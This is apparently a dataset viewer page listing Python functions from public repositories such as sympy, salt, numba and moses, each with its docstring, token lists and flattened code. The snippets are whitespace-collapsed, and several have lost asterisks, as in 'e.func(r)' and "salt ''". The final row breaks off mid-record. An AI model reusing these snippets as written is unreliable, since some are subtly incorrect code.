sia-precision-education/pile_python · Datasets at Hugging Face

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sympy/sympy	d822fcba181155b85ff2b29fe525adbafb22b448	sympy/series/limits.py	python	heuristics	(e, z, z0, dir)	return rv	Computes the limit of an expression term-wise. Parameters are the same as for the ``limit`` function. Works with the arguments of expression ``e`` one by one, computing the limit of each and then combining the results. This approach works only for simple limits, but it is fast.	Computes the limit of an expression term-wise. Parameters are the same as for the ``limit`` function. Works with the arguments of expression ``e`` one by one, computing the limit of each and then combining the results. This approach works only for simple limits, but it is fast.	[ "Computes", "the", "limit", "of", "an", "expression", "term", "-", "wise", ".", "Parameters", "are", "the", "same", "as", "for", "the", "limit", "function", ".", "Works", "with", "the", "arguments", "of", "expression", "e", "one", "by", "one", "computing", "the", "limit", "of", "each", "and", "then", "combining", "the", "results", ".", "This", "approach", "works", "only", "for", "simple", "limits", "but", "it", "is", "fast", "." ]	def heuristics(e, z, z0, dir): """Computes the limit of an expression term-wise. Parameters are the same as for the ``limit`` function. Works with the arguments of expression ``e`` one by one, computing the limit of each and then combining the results. This approach works only for simple limits, but it is fast. """ rv = None if abs(z0) is S.Infinity: rv = limit(e.subs(z, 1/z), z, S.Zero, "+" if z0 is S.Infinity else "-") if isinstance(rv, Limit): return elif e.is_Mul or e.is_Add or e.is_Pow or e.is_Function: r = [] for a in e.args: l = limit(a, z, z0, dir) if l.has(S.Infinity) and l.is_finite is None: if isinstance(e, Add): m = factor_terms(e) if not isinstance(m, Mul): # try together m = together(m) if not isinstance(m, Mul): # try factor if the previous methods failed m = factor(e) if isinstance(m, Mul): return heuristics(m, z, z0, dir) return return elif isinstance(l, Limit): return elif l is S.NaN: return else: r.append(l) if r: rv = e.func(r) if rv is S.NaN and e.is_Mul and any(isinstance(rr, AccumBounds) for rr in r): r2 = [] e2 = [] for ii in range(len(r)): if isinstance(r[ii], AccumBounds): r2.append(r[ii]) else: e2.append(e.args[ii]) if len(e2) > 0: e3 = Mul(e2).simplify() l = limit(e3, z, z0, dir) rv = l * Mul(*r2) if rv is S.NaN: try: rat_e = ratsimp(e) except PolynomialError: return if rat_e is S.NaN or rat_e == e: return return limit(rat_e, z, z0, dir) return rv	[ "def", "heuristics", "(", "e", ",", "z", ",", "z0", ",", "dir", ")", ":", "rv", "=", "None", "if", "abs", "(", "z0", ")", "is", "S", ".", "Infinity", ":", "rv", "=", "limit", "(", "e", ".", "subs", "(", "z", ",", "1", "/", "z", ")", ",", "z", ",", "S", ".", "Zero", ",", "\"+\"", "if", "z0", "is", "S", ".", "Infinity", "else", "\"-\"", ")", "if", "isinstance", "(", "rv", ",", "Limit", ")", ":", "return", "elif", "e", ".", "is_Mul", "or", "e", ".", "is_Add", "or", "e", ".", "is_Pow", "or", "e", ".", "is_Function", ":", "r", "=", "[", "]", "for", "a", "in", "e", ".", "args", ":", "l", "=", "limit", "(", "a", ",", "z", ",", "z0", ",", "dir", ")", "if", "l", ".", "has", "(", "S", ".", "Infinity", ")", "and", "l", ".", "is_finite", "is", "None", ":", "if", "isinstance", "(", "e", ",", "Add", ")", ":", "m", "=", "factor_terms", "(", "e", ")", "if", "not", "isinstance", "(", "m", ",", "Mul", ")", ":", "# try together", "m", "=", "together", "(", "m", ")", "if", "not", "isinstance", "(", "m", ",", "Mul", ")", ":", "# try factor if the previous methods failed", "m", "=", "factor", "(", "e", ")", "if", "isinstance", "(", "m", ",", "Mul", ")", ":", "return", "heuristics", "(", "m", ",", "z", ",", "z0", ",", "dir", ")", "return", "return", "elif", "isinstance", "(", "l", ",", "Limit", ")", ":", "return", "elif", "l", "is", "S", ".", "NaN", ":", "return", "else", ":", "r", ".", "append", "(", "l", ")", "if", "r", ":", "rv", "=", "e", ".", "func", "(", "", "r", ")", "if", "rv", "is", "S", ".", "NaN", "and", "e", ".", "is_Mul", "and", "any", "(", "isinstance", "(", "rr", ",", "AccumBounds", ")", "for", "rr", "in", "r", ")", ":", "r2", "=", "[", "]", "e2", "=", "[", "]", "for", "ii", "in", "range", "(", "len", "(", "r", ")", ")", ":", "if", "isinstance", "(", "r", "[", "ii", "]", ",", "AccumBounds", ")", ":", "r2", ".", "append", "(", "r", "[", "ii", "]", ")", "else", ":", "e2", ".", "append", "(", "e", ".", "args", "[", "ii", "]", ")", "if", "len", "(", "e2", ")", ">", "0", ":", "e3", "=", "Mul", "(", "", "e2", ")", ".", "simplify", "(", ")", "l", "=", "limit", "(", "e3", ",", "z", ",", "z0", ",", "dir", ")", "rv", "=", "l", "", "Mul", "(", "", "r2", ")", "if", "rv", "is", "S", ".", "NaN", ":", "try", ":", "rat_e", "=", "ratsimp", "(", "e", ")", "except", "PolynomialError", ":", "return", "if", "rat_e", "is", "S", ".", "NaN", "or", "rat_e", "==", "e", ":", "return", "return", "limit", "(", "rat_e", ",", "z", ",", "z0", ",", "dir", ")", "return", "rv" ]	https://github.com/sympy/sympy/blob/d822fcba181155b85ff2b29fe525adbafb22b448/sympy/series/limits.py#L70-L128
dragondjf/QMarkdowner	fc79c85ca2949fa9ce3b317606ad7bbcd1299960	tftpy/TftpContexts.py	python	TftpContext.__init__	(self, host, port, timeout, dyn_file_func=None)		Constructor for the base context, setting shared instance variables.	Constructor for the base context, setting shared instance variables.	[ "Constructor", "for", "the", "base", "context", "setting", "shared", "instance", "variables", "." ]	def __init__(self, host, port, timeout, dyn_file_func=None): """Constructor for the base context, setting shared instance variables.""" self.file_to_transfer = None self.fileobj = None self.options = None self.packethook = None self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(timeout) self.timeout = timeout self.state = None self.next_block = 0 self.factory = TftpPacketFactory() # Note, setting the host will also set self.address, as it's a property. self.host = host self.port = port # The port associated with the TID self.tidport = None # Metrics self.metrics = TftpMetrics() # Fluag when the transfer is pending completion. self.pending_complete = False # Time when this context last received any traffic. # FIXME: does this belong in metrics? self.last_update = 0 # The last packet we sent, if applicable, to make resending easy. self.last_pkt = None self.dyn_file_func = dyn_file_func # Count the number of retry attempts. self.retry_count = 0	[ "def", "__init__", "(", "self", ",", "host", ",", "port", ",", "timeout", ",", "dyn_file_func", "=", "None", ")", ":", "self", ".", "file_to_transfer", "=", "None", "self", ".", "fileobj", "=", "None", "self", ".", "options", "=", "None", "self", ".", "packethook", "=", "None", "self", ".", "sock", "=", "socket", ".", "socket", "(", "socket", ".", "AF_INET", ",", "socket", ".", "SOCK_DGRAM", ")", "self", ".", "sock", ".", "settimeout", "(", "timeout", ")", "self", ".", "timeout", "=", "timeout", "self", ".", "state", "=", "None", "self", ".", "next_block", "=", "0", "self", ".", "factory", "=", "TftpPacketFactory", "(", ")", "# Note, setting the host will also set self.address, as it's a property.", "self", ".", "host", "=", "host", "self", ".", "port", "=", "port", "# The port associated with the TID", "self", ".", "tidport", "=", "None", "# Metrics", "self", ".", "metrics", "=", "TftpMetrics", "(", ")", "# Fluag when the transfer is pending completion.", "self", ".", "pending_complete", "=", "False", "# Time when this context last received any traffic.", "# FIXME: does this belong in metrics?", "self", ".", "last_update", "=", "0", "# The last packet we sent, if applicable, to make resending easy.", "self", ".", "last_pkt", "=", "None", "self", ".", "dyn_file_func", "=", "dyn_file_func", "# Count the number of retry attempts.", "self", ".", "retry_count", "=", "0" ]	https://github.com/dragondjf/QMarkdowner/blob/fc79c85ca2949fa9ce3b317606ad7bbcd1299960/tftpy/TftpContexts.py#L70-L99
avocado-framework/avocado	1f9b3192e8ba47d029c33fe21266bd113d17811f	optional_plugins/varianter_yaml_to_mux/avocado_varianter_yaml_to_mux/mux.py	python	MuxTreeNode.merge	(self, other)		Merges `other` node into this one without checking the name of the other node. New values are appended, existing values overwritten and unaffected ones are kept. Then all other node children are added as children (recursively they get either appended at the end or merged into existing node in the previous position.	Merges `other` node into this one without checking the name of the other node. New values are appended, existing values overwritten and unaffected ones are kept. Then all other node children are added as children (recursively they get either appended at the end or merged into existing node in the previous position.	[ "Merges", "other", "node", "into", "this", "one", "without", "checking", "the", "name", "of", "the", "other", "node", ".", "New", "values", "are", "appended", "existing", "values", "overwritten", "and", "unaffected", "ones", "are", "kept", ".", "Then", "all", "other", "node", "children", "are", "added", "as", "children", "(", "recursively", "they", "get", "either", "appended", "at", "the", "end", "or", "merged", "into", "existing", "node", "in", "the", "previous", "position", "." ]	def merge(self, other): """ Merges `other` node into this one without checking the name of the other node. New values are appended, existing values overwritten and unaffected ones are kept. Then all other node children are added as children (recursively they get either appended at the end or merged into existing node in the previous position. """ for ctrl in other.ctrl: if isinstance(ctrl, Control): if ctrl.code == REMOVE_NODE: remove = [] regexp = re.compile(ctrl.value) for child in self.children: if regexp.match(child.name): remove.append(child) for child in remove: self.children.remove(child) elif ctrl.code == REMOVE_VALUE: remove = [] regexp = re.compile(ctrl.value) for key in self.value: if regexp.match(key): remove.append(key) for key in remove: self.value.pop(key, None) super(MuxTreeNode, self).merge(other) if other.multiplex is True: self.multiplex = True elif other.multiplex is False: self.multiplex = False	[ "def", "merge", "(", "self", ",", "other", ")", ":", "for", "ctrl", "in", "other", ".", "ctrl", ":", "if", "isinstance", "(", "ctrl", ",", "Control", ")", ":", "if", "ctrl", ".", "code", "==", "REMOVE_NODE", ":", "remove", "=", "[", "]", "regexp", "=", "re", ".", "compile", "(", "ctrl", ".", "value", ")", "for", "child", "in", "self", ".", "children", ":", "if", "regexp", ".", "match", "(", "child", ".", "name", ")", ":", "remove", ".", "append", "(", "child", ")", "for", "child", "in", "remove", ":", "self", ".", "children", ".", "remove", "(", "child", ")", "elif", "ctrl", ".", "code", "==", "REMOVE_VALUE", ":", "remove", "=", "[", "]", "regexp", "=", "re", ".", "compile", "(", "ctrl", ".", "value", ")", "for", "key", "in", "self", ".", "value", ":", "if", "regexp", ".", "match", "(", "key", ")", ":", "remove", ".", "append", "(", "key", ")", "for", "key", "in", "remove", ":", "self", ".", "value", ".", "pop", "(", "key", ",", "None", ")", "super", "(", "MuxTreeNode", ",", "self", ")", ".", "merge", "(", "other", ")", "if", "other", ".", "multiplex", "is", "True", ":", "self", ".", "multiplex", "=", "True", "elif", "other", ".", "multiplex", "is", "False", ":", "self", ".", "multiplex", "=", "False" ]	https://github.com/avocado-framework/avocado/blob/1f9b3192e8ba47d029c33fe21266bd113d17811f/optional_plugins/varianter_yaml_to_mux/avocado_varianter_yaml_to_mux/mux.py#L323-L353
openshift/openshift-tools	1188778e728a6e4781acf728123e5b356380fe6f	openshift/installer/vendored/openshift-ansible-3.9.40/roles/lib_utils/library/yedit.py	python	Yedit.pop	(self, path, key_or_item)	return (False, self.yaml_dict)	remove a key, value pair from a dict or an item for a list	remove a key, value pair from a dict or an item for a list	[ "remove", "a", "key", "value", "pair", "from", "a", "dict", "or", "an", "item", "for", "a", "list" ]	def pop(self, path, key_or_item): ''' remove a key, value pair from a dict or an item for a list''' try: entry = Yedit.get_entry(self.yaml_dict, path, self.separator) except KeyError: entry = None if entry is None: return (False, self.yaml_dict) if isinstance(entry, dict): # AUDIT:maybe-no-member makes sense due to fuzzy types # pylint: disable=maybe-no-member if key_or_item in entry: entry.pop(key_or_item) return (True, self.yaml_dict) return (False, self.yaml_dict) elif isinstance(entry, list): # AUDIT:maybe-no-member makes sense due to fuzzy types # pylint: disable=maybe-no-member ind = None try: ind = entry.index(key_or_item) except ValueError: return (False, self.yaml_dict) entry.pop(ind) return (True, self.yaml_dict) return (False, self.yaml_dict)	[ "def", "pop", "(", "self", ",", "path", ",", "key_or_item", ")", ":", "try", ":", "entry", "=", "Yedit", ".", "get_entry", "(", "self", ".", "yaml_dict", ",", "path", ",", "self", ".", "separator", ")", "except", "KeyError", ":", "entry", "=", "None", "if", "entry", "is", "None", ":", "return", "(", "False", ",", "self", ".", "yaml_dict", ")", "if", "isinstance", "(", "entry", ",", "dict", ")", ":", "# AUDIT:maybe-no-member makes sense due to fuzzy types", "# pylint: disable=maybe-no-member", "if", "key_or_item", "in", "entry", ":", "entry", ".", "pop", "(", "key_or_item", ")", "return", "(", "True", ",", "self", ".", "yaml_dict", ")", "return", "(", "False", ",", "self", ".", "yaml_dict", ")", "elif", "isinstance", "(", "entry", ",", "list", ")", ":", "# AUDIT:maybe-no-member makes sense due to fuzzy types", "# pylint: disable=maybe-no-member", "ind", "=", "None", "try", ":", "ind", "=", "entry", ".", "index", "(", "key_or_item", ")", "except", "ValueError", ":", "return", "(", "False", ",", "self", ".", "yaml_dict", ")", "entry", ".", "pop", "(", "ind", ")", "return", "(", "True", ",", "self", ".", "yaml_dict", ")", "return", "(", "False", ",", "self", ".", "yaml_dict", ")" ]	https://github.com/openshift/openshift-tools/blob/1188778e728a6e4781acf728123e5b356380fe6f/openshift/installer/vendored/openshift-ansible-3.9.40/roles/lib_utils/library/yedit.py#L521-L551
CoinCheung/BiSeNet	f9231b7c971413e6ebdfcd961fbea53417b18851	lib/models/bisenetv2.py	python	BiSeNetV2.__init__	(self, n_classes, aux_mode='train')				[]	def __init__(self, n_classes, aux_mode='train'): super(BiSeNetV2, self).__init__() self.aux_mode = aux_mode self.detail = DetailBranch() self.segment = SegmentBranch() self.bga = BGALayer() ## TODO: what is the number of mid chan ? self.head = SegmentHead(128, 1024, n_classes, up_factor=8, aux=False) if self.aux_mode == 'train': self.aux2 = SegmentHead(16, 128, n_classes, up_factor=4) self.aux3 = SegmentHead(32, 128, n_classes, up_factor=8) self.aux4 = SegmentHead(64, 128, n_classes, up_factor=16) self.aux5_4 = SegmentHead(128, 128, n_classes, up_factor=32) self.init_weights()	[ "def", "__init__", "(", "self", ",", "n_classes", ",", "aux_mode", "=", "'train'", ")", ":", "super", "(", "BiSeNetV2", ",", "self", ")", ".", "__init__", "(", ")", "self", ".", "aux_mode", "=", "aux_mode", "self", ".", "detail", "=", "DetailBranch", "(", ")", "self", ".", "segment", "=", "SegmentBranch", "(", ")", "self", ".", "bga", "=", "BGALayer", "(", ")", "## TODO: what is the number of mid chan ?", "self", ".", "head", "=", "SegmentHead", "(", "128", ",", "1024", ",", "n_classes", ",", "up_factor", "=", "8", ",", "aux", "=", "False", ")", "if", "self", ".", "aux_mode", "==", "'train'", ":", "self", ".", "aux2", "=", "SegmentHead", "(", "16", ",", "128", ",", "n_classes", ",", "up_factor", "=", "4", ")", "self", ".", "aux3", "=", "SegmentHead", "(", "32", ",", "128", ",", "n_classes", ",", "up_factor", "=", "8", ")", "self", ".", "aux4", "=", "SegmentHead", "(", "64", ",", "128", ",", "n_classes", ",", "up_factor", "=", "16", ")", "self", ".", "aux5_4", "=", "SegmentHead", "(", "128", ",", "128", ",", "n_classes", ",", "up_factor", "=", "32", ")", "self", ".", "init_weights", "(", ")" ]	https://github.com/CoinCheung/BiSeNet/blob/f9231b7c971413e6ebdfcd961fbea53417b18851/lib/models/bisenetv2.py#L314-L329
saltstack/salt	fae5bc757ad0f1716483ce7ae180b451545c2058	salt/modules/rh_service.py	python	status	(name, sig=None)	return results[name]	Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned. .. versionchanged:: 2018.3.0 The service name can now be a glob (e.g. ``salt``) Args: name (str): The name of the service to check sig (str): Signature to use to find the service via ps Returns: bool: True if running, False otherwise dict: Maps service name to True if running, False otherwise CLI Example: .. code-block:: bash salt '' service.status <service name> [service signature]	Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned.	[ "Return", "the", "status", "for", "a", "service", ".", "If", "the", "name", "contains", "globbing", "a", "dict", "mapping", "service", "name", "to", "True", "/", "False", "values", "is", "returned", "." ]	def status(name, sig=None): """ Return the status for a service. If the name contains globbing, a dict mapping service name to True/False values is returned. .. versionchanged:: 2018.3.0 The service name can now be a glob (e.g. ``salt``) Args: name (str): The name of the service to check sig (str): Signature to use to find the service via ps Returns: bool: True if running, False otherwise dict: Maps service name to True if running, False otherwise CLI Example: .. code-block:: bash salt '' service.status <service name> [service signature] """ if sig: return bool(__salt__["status.pid"](sig)) contains_globbing = bool(re.search(r"\*\|\?\|\[.+\]", name)) if contains_globbing: services = fnmatch.filter(get_all(), name) else: services = [name] results = {} for service in services: if _service_is_upstart(service): cmd = "status {}".format(service) results[service] = "start/running" in __salt__["cmd.run"]( cmd, python_shell=False ) else: cmd = "/sbin/service {} status".format(service) results[service] = ( __salt__["cmd.retcode"](cmd, python_shell=False, ignore_retcode=True) == 0 ) if contains_globbing: return results return results[name]	[ "def", "status", "(", "name", ",", "sig", "=", "None", ")", ":", "if", "sig", ":", "return", "bool", "(", "__salt__", "[", "\"status.pid\"", "]", "(", "sig", ")", ")", "contains_globbing", "=", "bool", "(", "re", ".", "search", "(", "r\"\\*\|\\?\|\\[.+\\]\"", ",", "name", ")", ")", "if", "contains_globbing", ":", "services", "=", "fnmatch", ".", "filter", "(", "get_all", "(", ")", ",", "name", ")", "else", ":", "services", "=", "[", "name", "]", "results", "=", "{", "}", "for", "service", "in", "services", ":", "if", "_service_is_upstart", "(", "service", ")", ":", "cmd", "=", "\"status {}\"", ".", "format", "(", "service", ")", "results", "[", "service", "]", "=", "\"start/running\"", "in", "__salt__", "[", "\"cmd.run\"", "]", "(", "cmd", ",", "python_shell", "=", "False", ")", "else", ":", "cmd", "=", "\"/sbin/service {} status\"", ".", "format", "(", "service", ")", "results", "[", "service", "]", "=", "(", "__salt__", "[", "\"cmd.retcode\"", "]", "(", "cmd", ",", "python_shell", "=", "False", ",", "ignore_retcode", "=", "True", ")", "==", "0", ")", "if", "contains_globbing", ":", "return", "results", "return", "results", "[", "name", "]" ]	https://github.com/saltstack/salt/blob/fae5bc757ad0f1716483ce7ae180b451545c2058/salt/modules/rh_service.py#L495-L541
numba/numba	bf480b9e0da858a65508c2b17759a72ee6a44c51	numba/core/datamodel/models.py	python	DataModel.traverse	(self, builder)	return []	Traverse contained members. Returns a iterable of contained (types, getters). Each getter is a one-argument function accepting a LLVM value.	Traverse contained members. Returns a iterable of contained (types, getters). Each getter is a one-argument function accepting a LLVM value.	[ "Traverse", "contained", "members", ".", "Returns", "a", "iterable", "of", "contained", "(", "types", "getters", ")", ".", "Each", "getter", "is", "a", "one", "-", "argument", "function", "accepting", "a", "LLVM", "value", "." ]	def traverse(self, builder): """ Traverse contained members. Returns a iterable of contained (types, getters). Each getter is a one-argument function accepting a LLVM value. """ return []	[ "def", "traverse", "(", "self", ",", "builder", ")", ":", "return", "[", "]" ]	https://github.com/numba/numba/blob/bf480b9e0da858a65508c2b17759a72ee6a44c51/numba/core/datamodel/models.py#L89-L95
home-assistant/core	265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1	homeassistant/components/renault/renault_entities.py	python	RenaultEntity.__init__	( self, vehicle: RenaultVehicleProxy, description: EntityDescription, )		Initialise entity.	Initialise entity.	[ "Initialise", "entity", "." ]	def __init__( self, vehicle: RenaultVehicleProxy, description: EntityDescription, ) -> None: """Initialise entity.""" self.vehicle = vehicle self.entity_description = description self._attr_device_info = self.vehicle.device_info self._attr_unique_id = f"{self.vehicle.details.vin}_{description.key}".lower()	[ "def", "__init__", "(", "self", ",", "vehicle", ":", "RenaultVehicleProxy", ",", "description", ":", "EntityDescription", ",", ")", "->", "None", ":", "self", ".", "vehicle", "=", "vehicle", "self", ".", "entity_description", "=", "description", "self", ".", "_attr_device_info", "=", "self", ".", "vehicle", ".", "device_info", "self", ".", "_attr_unique_id", "=", "f\"{self.vehicle.details.vin}_{description.key}\"", ".", "lower", "(", ")" ]	https://github.com/home-assistant/core/blob/265ebd17a3f17ed8dc1e9bdede03ac8e323f1ab1/homeassistant/components/renault/renault_entities.py#L33-L42
meetbill/zabbix_manager	739e5b51facf19cc6bda2b50f29108f831cf833e	ZabbixTool/lib_zabbix/w_lib/mylib/xlwt/Autofit.py	python	HandleBlankCell	(workBook, row, cell)	return HandleDefaultCell(workBook, row, cell)	Will handle blank cells using the default handler	Will handle blank cells using the default handler	[ "Will", "handle", "blank", "cells", "using", "the", "default", "handler" ]	def HandleBlankCell(workBook, row, cell): """ Will handle blank cells using the default handler """ if workBook.emptyCellsAreZero: return 0 return HandleDefaultCell(workBook, row, cell)	[ "def", "HandleBlankCell", "(", "workBook", ",", "row", ",", "cell", ")", ":", "if", "workBook", ".", "emptyCellsAreZero", ":", "return", "0", "return", "HandleDefaultCell", "(", "workBook", ",", "row", ",", "cell", ")" ]	https://github.com/meetbill/zabbix_manager/blob/739e5b51facf19cc6bda2b50f29108f831cf833e/ZabbixTool/lib_zabbix/w_lib/mylib/xlwt/Autofit.py#L320-L328
sagemath/sage	f9b2db94f675ff16963ccdefba4f1a3393b3fe0d	src/sage/interfaces/mathics.py	python	Mathics._object_class	(self)	return MathicsElement	r""" Return the element class of this parent. This is used in the interface class. EXAMPLES:: sage: mathics._object_class() <class 'sage.interfaces.mathics.MathicsElement'>	r""" Return the element class of this parent. This is used in the interface class.	[ "r", "Return", "the", "element", "class", "of", "this", "parent", ".", "This", "is", "used", "in", "the", "interface", "class", "." ]	def _object_class(self): r""" Return the element class of this parent. This is used in the interface class. EXAMPLES:: sage: mathics._object_class() <class 'sage.interfaces.mathics.MathicsElement'> """ return MathicsElement	[ "def", "_object_class", "(", "self", ")", ":", "return", "MathicsElement" ]	https://github.com/sagemath/sage/blob/f9b2db94f675ff16963ccdefba4f1a3393b3fe0d/src/sage/interfaces/mathics.py#L729-L740
JetBrains/python-skeletons	95ad24b666e475998e5d1cc02ed53a2188036167	builtins.py	python	int.__lshift__	(self, n)	return 0	x shifted left by n bits. :type n: numbers.Integral :rtype: int	x shifted left by n bits.	[ "x", "shifted", "left", "by", "n", "bits", "." ]	def __lshift__(self, n): """x shifted left by n bits. :type n: numbers.Integral :rtype: int """ return 0	[ "def", "__lshift__", "(", "self", ",", "n", ")", ":", "return", "0" ]	https://github.com/JetBrains/python-skeletons/blob/95ad24b666e475998e5d1cc02ed53a2188036167/builtins.py#L488-L494
molecularsets/moses	7b8f83b21a9b7ded493349ec8ef292384ce2bb52	moses/metrics/metrics.py	python	get_all_metrics	(gen, k=None, n_jobs=1, device='cpu', batch_size=512, pool=None, test=None, test_scaffolds=None, ptest=None, ptest_scaffolds=None, train=None)	return metrics	Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization test (None or list): test SMILES. If None, will load a default test set test_scaffolds (None or list): scaffold test SMILES. If None, will load a default scaffold test set ptest (None or dict): precalculated statistics of the test set. If None, will load default test statistics. If you specified a custom test set, default test statistics will be ignored ptest_scaffolds (None or dict): precalculated statistics of the scaffold test set If None, will load default scaffold test statistics. If you specified a custom test set, default test statistics will be ignored train (None or list): train SMILES. If None, will load a default train set Available metrics: * %valid * %unique@k * Frechet ChemNet Distance (FCD) * Fragment similarity (Frag) * Scaffold similarity (Scaf) * Similarity to nearest neighbour (SNN) * Internal diversity (IntDiv) * Internal diversity 2: using square root of mean squared Tanimoto similarity (IntDiv2) * %passes filters (Filters) * Distribution difference for logP, SA, QED, weight * Novelty (molecules not present in train)	Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization	[ "Computes", "all", "available", "metrics", "between", "test", "(", "scaffold", "test", ")", "and", "generated", "sets", "of", "SMILES", ".", "Parameters", ":", "gen", ":", "list", "of", "generated", "SMILES", "k", ":", "int", "or", "list", "with", "values", "for", "unique@k", ".", "Will", "calculate", "number", "of", "unique", "molecules", "in", "the", "first", "k", "molecules", ".", "Default", "[", "1000", "10000", "]", "n_jobs", ":", "number", "of", "workers", "for", "parallel", "processing", "device", ":", "cpu", "or", "cuda", ":", "n", "where", "n", "is", "GPU", "device", "number", "batch_size", ":", "batch", "size", "for", "FCD", "metric", "pool", ":", "optional", "multiprocessing", "pool", "to", "use", "for", "parallelization" ]	def get_all_metrics(gen, k=None, n_jobs=1, device='cpu', batch_size=512, pool=None, test=None, test_scaffolds=None, ptest=None, ptest_scaffolds=None, train=None): """ Computes all available metrics between test (scaffold test) and generated sets of SMILES. Parameters: gen: list of generated SMILES k: int or list with values for unique@k. Will calculate number of unique molecules in the first k molecules. Default [1000, 10000] n_jobs: number of workers for parallel processing device: 'cpu' or 'cuda:n', where n is GPU device number batch_size: batch size for FCD metric pool: optional multiprocessing pool to use for parallelization test (None or list): test SMILES. If None, will load a default test set test_scaffolds (None or list): scaffold test SMILES. If None, will load a default scaffold test set ptest (None or dict): precalculated statistics of the test set. If None, will load default test statistics. If you specified a custom test set, default test statistics will be ignored ptest_scaffolds (None or dict): precalculated statistics of the scaffold test set If None, will load default scaffold test statistics. If you specified a custom test set, default test statistics will be ignored train (None or list): train SMILES. If None, will load a default train set Available metrics: * %valid * %unique@k * Frechet ChemNet Distance (FCD) * Fragment similarity (Frag) * Scaffold similarity (Scaf) * Similarity to nearest neighbour (SNN) * Internal diversity (IntDiv) * Internal diversity 2: using square root of mean squared Tanimoto similarity (IntDiv2) * %passes filters (Filters) * Distribution difference for logP, SA, QED, weight * Novelty (molecules not present in train) """ if test is None: if ptest is not None: raise ValueError( "You cannot specify custom test " "statistics for default test set") test = get_dataset('test') ptest = get_statistics('test') if test_scaffolds is None: if ptest_scaffolds is not None: raise ValueError( "You cannot specify custom scaffold test " "statistics for default scaffold test set") test_scaffolds = get_dataset('test_scaffolds') ptest_scaffolds = get_statistics('test_scaffolds') train = train or get_dataset('train') if k is None: k = [1000, 10000] disable_rdkit_log() metrics = {} close_pool = False if pool is None: if n_jobs != 1: pool = Pool(n_jobs) close_pool = True else: pool = 1 metrics['valid'] = fraction_valid(gen, n_jobs=pool) gen = remove_invalid(gen, canonize=True) if not isinstance(k, (list, tuple)): k = [k] for _k in k: metrics['unique@{}'.format(_k)] = fraction_unique(gen, _k, pool) if ptest is None: ptest = compute_intermediate_statistics(test, n_jobs=n_jobs, device=device, batch_size=batch_size, pool=pool) if test_scaffolds is not None and ptest_scaffolds is None: ptest_scaffolds = compute_intermediate_statistics( test_scaffolds, n_jobs=n_jobs, device=device, batch_size=batch_size, pool=pool ) mols = mapper(pool)(get_mol, gen) kwargs = {'n_jobs': pool, 'device': device, 'batch_size': batch_size} kwargs_fcd = {'n_jobs': n_jobs, 'device': device, 'batch_size': batch_size} metrics['FCD/Test'] = FCDMetric(kwargs_fcd)(gen=gen, pref=ptest['FCD']) metrics['SNN/Test'] = SNNMetric(kwargs)(gen=mols, pref=ptest['SNN']) metrics['Frag/Test'] = FragMetric(kwargs)(gen=mols, pref=ptest['Frag']) metrics['Scaf/Test'] = ScafMetric(kwargs)(gen=mols, pref=ptest['Scaf']) if ptest_scaffolds is not None: metrics['FCD/TestSF'] = FCDMetric(kwargs_fcd)( gen=gen, pref=ptest_scaffolds['FCD'] ) metrics['SNN/TestSF'] = SNNMetric(kwargs)( gen=mols, pref=ptest_scaffolds['SNN'] ) metrics['Frag/TestSF'] = FragMetric(kwargs)( gen=mols, pref=ptest_scaffolds['Frag'] ) metrics['Scaf/TestSF'] = ScafMetric(kwargs)( gen=mols, pref=ptest_scaffolds['Scaf'] ) metrics['IntDiv'] = internal_diversity(mols, pool, device=device) metrics['IntDiv2'] = internal_diversity(mols, pool, device=device, p=2) metrics['Filters'] = fraction_passes_filters(mols, pool) # Properties for name, func in [('logP', logP), ('SA', SA), ('QED', QED), ('weight', weight)]: metrics[name] = WassersteinMetric(func, **kwargs)( gen=mols, pref=ptest[name]) if train is not None: metrics['Novelty'] = novelty(mols, train, pool) enable_rdkit_log() if close_pool: pool.close() pool.join() return metrics	[ "def", "get_all_metrics", "(", "gen", ",", "k", "=", "None", ",", "n_jobs", "=", "1", ",", "device", "=", "'cpu'", ",", "batch_size", "=", "512", ",", "pool", "=", "None", ",", "test", "=", "None", ",", "test_scaffolds", "=", "None", ",", "ptest", "=", "None", ",", "ptest_scaffolds", "=", "None", ",", "train", "=", "None", ")", ":", "if", "test", "is", "None", ":", "if", "ptest", "is", "not", "None", ":", "raise", "ValueError", "(", "\"You cannot specify custom test \"", "\"statistics for default test set\"", ")", "test", "=", "get_dataset", "(", "'test'", ")", "ptest", "=", "get_statistics", "(", "'test'", ")", "if", "test_scaffolds", "is", "None", ":", "if", "ptest_scaffolds", "is", "not", "None", ":", "raise", "ValueError", "(", "\"You cannot specify custom scaffold test \"", "\"statistics for default scaffold test set\"", ")", "test_scaffolds", "=", "get_dataset", "(", "'test_scaffolds'", ")", "ptest_scaffolds", "=", "get_statistics", "(", "'test_scaffolds'", ")", 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",", "pref", "=", "ptest_scaffolds", "[", "'Scaf'", "]", ")", "metrics", "[", "'IntDiv'", "]", "=", "internal_diversity", "(", "mols", ",", "pool", ",", "device", "=", "device", ")", "metrics", "[", "'IntDiv2'", "]", "=", "internal_diversity", "(", "mols", ",", "pool", ",", "device", "=", "device", ",", "p", "=", "2", ")", "metrics", "[", "'Filters'", "]", "=", "fraction_passes_filters", "(", "mols", ",", "pool", ")", "# Properties", "for", "name", ",", "func", "in", "[", "(", "'logP'", ",", "logP", ")", ",", "(", "'SA'", ",", "SA", ")", ",", "(", "'QED'", ",", "QED", ")", ",", "(", "'weight'", ",", "weight", ")", "]", ":", "metrics", "[", "name", "]", "=", "WassersteinMetric", "(", "func", ",", "", "", "kwargs", ")", "(", "gen", "=", "mols", ",", "pref", "=", "ptest", "[", "name", "]", ")", "if", "train", "is", "not", "None", ":", "metrics", "[", "'Novelty'", "]", "=", "novelty", "(", "mols", ",", "train", ",", "pool", ")", "enable_rdkit_log", "(", ")", "if", "close_pool", 